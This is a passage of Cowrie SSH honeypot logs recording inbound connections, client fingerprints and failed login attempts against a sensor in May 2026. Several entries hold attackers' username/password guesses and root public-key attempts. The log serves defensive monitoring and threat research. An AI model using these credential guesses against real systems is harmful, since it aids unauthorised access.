98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:33.376356Z","src_ip":"103.15.226.202","session":"f7c6576f926d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"obfspassword","message":"login attempt [ubuntu/obfspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:34.136327Z","src_ip":"103.15.226.202","session":"f7c6576f926d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:47:35.392571Z","src_ip":"103.15.226.202","session":"f7c6576f926d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":59434,"dst_ip":"10.17.0.5","dst_port":22,"session":"5569150d8355","protocol":"ssh","message":"New connection: 94.26.106.33:59434 (10.17.0.5:22) [session: 5569150d8355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:14.512851Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:14.522568Z","src_ip":"94.26.106.33","session":"5569150d8355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":59438,"dst_ip":"10.17.0.5","dst_port":22,"session":"f427b22ed6aa","protocol":"ssh","message":"New connection: 94.26.106.33:59438 (10.17.0.5:22) [session: f427b22ed6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:14.668253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:14.673310Z","src_ip":"94.26.106.33","session":"f427b22ed6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:14.761332Z","src_ip":"94.26.106.33","session":"f427b22ed6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1q2w3e4r","message":"login attempt [ftpuser/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:14.945471Z","src_ip":"94.26.106.33","session":"f427b22ed6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:16.033884Z","src_ip":"94.26.106.33","session":"f427b22ed6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.141.57.35","src_port":51444,"dst_ip":"10.17.0.5","dst_port":22,"session":"47f299eeefd8","protocol":"ssh","message":"New connection: 209.141.57.35:51444 (10.17.0.5:22) [session: 47f299eeefd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.407180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.412561Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.481876Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:39:4e:05:9b:b0:96:0e:65:e4:71:1c:1e:37:63:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6WCgDABdtnCl04hRIn7qF06RMAZkDCes2coYw52cVzRClrBlPNKU+2RwUh9vlDHbL/bq+sfZiX8fsFSqOYEdp38OW3W8RzPyz+seMsKLhInSGGvbowSpJ+sxluaj3jjkNHpF/P1j1isLImRL9gLF9XO/riwtcUb9IjBhmx5eoQPjvlKAOJx2oVMVXFdXOq/QjBLPHFUn9e229yKKYRRVwgkAuF3cwqhLM500n/ae2rpNctN+b3IQdMR0PPeW6ayG56TYaOh9YOl9+8KS1v87EJ65/iUBKb0B1n/p5C1RoB+oRbei+sPLIWOfutt10SqKReZvjGqhdMToOLPS0B+L5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:39:4e:05:9b:b0:96:0e:65:e4:71:1c:1e:37:63:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.802366Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:39:4e:05:9b:b0:96:0e:65:e4:71:1c:1e:37:63:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6WCgDABdtnCl04hRIn7qF06RMAZkDCes2coYw52cVzRClrBlPNKU+2RwUh9vlDHbL/bq+sfZiX8fsFSqOYEdp38OW3W8RzPyz+seMsKLhInSGGvbowSpJ+sxluaj3jjkNHpF/P1j1isLImRL9gLF9XO/riwtcUb9IjBhmx5eoQPjvlKAOJx2oVMVXFdXOq/QjBLPHFUn9e229yKKYRRVwgkAuF3cwqhLM500n/ae2rpNctN+b3IQdMR0PPeW6ayG56TYaOh9YOl9+8KS1v87EJ65/iUBKb0B1n/p5C1RoB+oRbei+sPLIWOfutt10SqKReZvjGqhdMToOLPS0B+L5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.810660Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:a9:5d:34:36:f5:7a:86:4b:be:0e:9d:56:dd:94:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjFhhvqvfof9GyMc6ucAeXQvge4HHKw6mw/kOC8fTyZwJSBPHmQ/13Wp6qU5c4dd/o1Q/HJ05ZPKLC540s+RTSC6TCuM9xvmTR/1c4py52EngckQOdB5hTRe66J0ejiyojYcK9Np6HLqiOz4YgNgAIFCg8FN7nq2+TFSgUrE7Vk441z74rMiIirJopcTjkLvcK0X3hYTW1ZZ36vYceiEmQqFAIQqGbjZXarRnqicY1jGuXQt6cyz96BKNKD+0Y3TbUOmtskB79uJ85zSGWb37Tvj19H5LMMzqb+VcOnd47iQxY/5Iusehz6PdFTv+xHumrUBfhf1bcpubmp3Mmkat","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:a9:5d:34:36:f5:7a:86:4b:be:0e:9d:56:dd:94:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.881682Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:a9:5d:34:36:f5:7a:86:4b:be:0e:9d:56:dd:94:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjFhhvqvfof9GyMc6ucAeXQvge4HHKw6mw/kOC8fTyZwJSBPHmQ/13Wp6qU5c4dd/o1Q/HJ05ZPKLC540s+RTSC6TCuM9xvmTR/1c4py52EngckQOdB5hTRe66J0ejiyojYcK9Np6HLqiOz4YgNgAIFCg8FN7nq2+TFSgUrE7Vk441z74rMiIirJopcTjkLvcK0X3hYTW1ZZ36vYceiEmQqFAIQqGbjZXarRnqicY1jGuXQt6cyz96BKNKD+0Y3TbUOmtskB79uJ85zSGWb37Tvj19H5LMMzqb+VcOnd47iQxY/5Iusehz6PdFTv+xHumrUBfhf1bcpubmp3Mmkat","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.885392Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:d5:a9:84:df:26:7d:7a:f7:dc:89:0e:a6:8f:b5:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZmI+fui7QSwhLQgUqV9i2JEPz9gkDh3l1vTYmZwvHU3sFRrD0dp/wfCasUP5wlC80/yvU1G60AYmCGPfj3IA1vy3WwKNG91XgMrumIQU11T3xZKafxClfRru0TV48t7fwTcoEGN47gRBHKbxEH2g6Vga8KXnzrcUfxUyww85FJXreexkExjFvMHdbv5/1f9RzNzKVbpdKRHIX76QlmjL85AycEzqtnbfahV1IdH/QPll0O2vc9k9wMWRsWVMgZwgimO5SmB3dVfpgqCgKtgP90AF6+cuW3ks3XdKp5XgHbzbdqEOD8wl+LLLImwXngRGOqOlIzsceFqFdZoz92M/2K9j4Pz1Yxj5nsIfCuS/edaKpqYT3ZuBbjmIno11+Xif1WmULGhAv5Qk4iuTvbvCmiNHZO25mpEH3VpmZxOuvss7dXxwzdVjjhzI4DPGS/m+8lE6Cz6GlKyTrfE25MqWZ3lA6JVetAmf3rghDtoNMbC0ZiSWijVK0RYLVRwHMOYU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:d5:a9:84:df:26:7d:7a:f7:dc:89:0e:a6:8f:b5:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.954988Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:d5:a9:84:df:26:7d:7a:f7:dc:89:0e:a6:8f:b5:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZmI+fui7QSwhLQgUqV9i2JEPz9gkDh3l1vTYmZwvHU3sFRrD0dp/wfCasUP5wlC80/yvU1G60AYmCGPfj3IA1vy3WwKNG91XgMrumIQU11T3xZKafxClfRru0TV48t7fwTcoEGN47gRBHKbxEH2g6Vga8KXnzrcUfxUyww85FJXreexkExjFvMHdbv5/1f9RzNzKVbpdKRHIX76QlmjL85AycEzqtnbfahV1IdH/QPll0O2vc9k9wMWRsWVMgZwgimO5SmB3dVfpgqCgKtgP90AF6+cuW3ks3XdKp5XgHbzbdqEOD8wl+LLLImwXngRGOqOlIzsceFqFdZoz92M/2K9j4Pz1Yxj5nsIfCuS/edaKpqYT3ZuBbjmIno11+Xif1WmULGhAv5Qk4iuTvbvCmiNHZO25mpEH3VpmZxOuvss7dXxwzdVjjhzI4DPGS/m+8lE6Cz6GlKyTrfE25MqWZ3lA6JVetAmf3rghDtoNMbC0ZiSWijVK0RYLVRwHMOYU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:45.959019Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:0d:12:6d:2b:68:30:0c:8f:c9:e5:4d:26:5c:6d:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6NCM+lFS/xBtNmCjTRgeVGbgfAp1TsN+ztQlKTZS8T5pKolaabok7HlZuAT1MWogT3bRjp8aZyc4Hf3vR91I3E8KEi/7GZm7JwAERn0KK8oOs7mRemLdBGC+Ts+FFFkTFP8m+RPsZt1U6+zvyTcPVFoq45CpHparW1aGoyieCVBCuBCQKjPaMhNli1XjAo01Xzcs322CdsRIoK8MfKhpCMMQzUXE15qqvdx9h/ojAyZQlzxoK+gEHslv+jilVOYCK54krksKjNX01KR6/gYt7QLCleN111/xA456B6r1wpRpQhhqVTMeUqJUyiAKWMcSgJVThrNnJFlaVJlf42wBT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:0d:12:6d:2b:68:30:0c:8f:c9:e5:4d:26:5c:6d:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.032600Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:0d:12:6d:2b:68:30:0c:8f:c9:e5:4d:26:5c:6d:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6NCM+lFS/xBtNmCjTRgeVGbgfAp1TsN+ztQlKTZS8T5pKolaabok7HlZuAT1MWogT3bRjp8aZyc4Hf3vR91I3E8KEi/7GZm7JwAERn0KK8oOs7mRemLdBGC+Ts+FFFkTFP8m+RPsZt1U6+zvyTcPVFoq45CpHparW1aGoyieCVBCuBCQKjPaMhNli1XjAo01Xzcs322CdsRIoK8MfKhpCMMQzUXE15qqvdx9h/ojAyZQlzxoK+gEHslv+jilVOYCK54krksKjNX01KR6/gYt7QLCleN111/xA456B6r1wpRpQhhqVTMeUqJUyiAKWMcSgJVThrNnJFlaVJlf42wBT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.036272Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:e1:00:32:af:12:cf:6e:53:98:4a:54:be:d7:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz4qyKflP1rM8m6GsK+59XL1deHcvK2qKVPJGpLnzdlmwiCU6QW6bWaBz3M/1og7qPMjXOBAVRXLBKrXmNU2TCRcH4G+nPa+clPZ2J7aYykMEiwrYIxoDGYGdvUwF4aL4F6/cjZM0xgAkbNiKjGgvUktXY02ZLYzbn8ELv1TswFg6ivrLIzTqpceGHRBczKnab+SBLY0YPh7+SlhZVHX2ZDEDQO7Kr2oPMiRFe3T7p/gpwnckXprI4TEsoHlztdigctb3KxjPg1DFRHHGCbXN5WoOQm8FkTRa5d/cXkxH3fjy4mjqH1aeaCtDylsuhfn9uzWcLI129WTfa8N/jqrzx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:e1:00:32:af:12:cf:6e:53:98:4a:54:be:d7:90:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.108058Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:e1:00:32:af:12:cf:6e:53:98:4a:54:be:d7:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz4qyKflP1rM8m6GsK+59XL1deHcvK2qKVPJGpLnzdlmwiCU6QW6bWaBz3M/1og7qPMjXOBAVRXLBKrXmNU2TCRcH4G+nPa+clPZ2J7aYykMEiwrYIxoDGYGdvUwF4aL4F6/cjZM0xgAkbNiKjGgvUktXY02ZLYzbn8ELv1TswFg6ivrLIzTqpceGHRBczKnab+SBLY0YPh7+SlhZVHX2ZDEDQO7Kr2oPMiRFe3T7p/gpwnckXprI4TEsoHlztdigctb3KxjPg1DFRHHGCbXN5WoOQm8FkTRa5d/cXkxH3fjy4mjqH1aeaCtDylsuhfn9uzWcLI129WTfa8N/jqrzx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.111823Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.180793Z","src_ip":"209.141.57.35","session":"47f299eeefd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":49790,"dst_ip":"10.17.0.5","dst_port":22,"session":"d339859709c9","protocol":"ssh","message":"New connection: 57.128.223.80:49790 (10.17.0.5:22) [session: d339859709c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.585695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.716429Z","src_ip":"57.128.223.80","session":"d339859709c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:46.817677Z","src_ip":"57.128.223.80","session":"d339859709c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdlkj","message":"login attempt [postgres/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:47.277615Z","src_ip":"57.128.223.80","session":"d339859709c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:48.391930Z","src_ip":"57.128.223.80","session":"d339859709c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":52474,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c169d42f49","protocol":"ssh","message":"New connection: 191.241.76.128:52474 (10.17.0.5:22) [session: e5c169d42f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:59.251245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:59.255883Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:48:59.398077Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
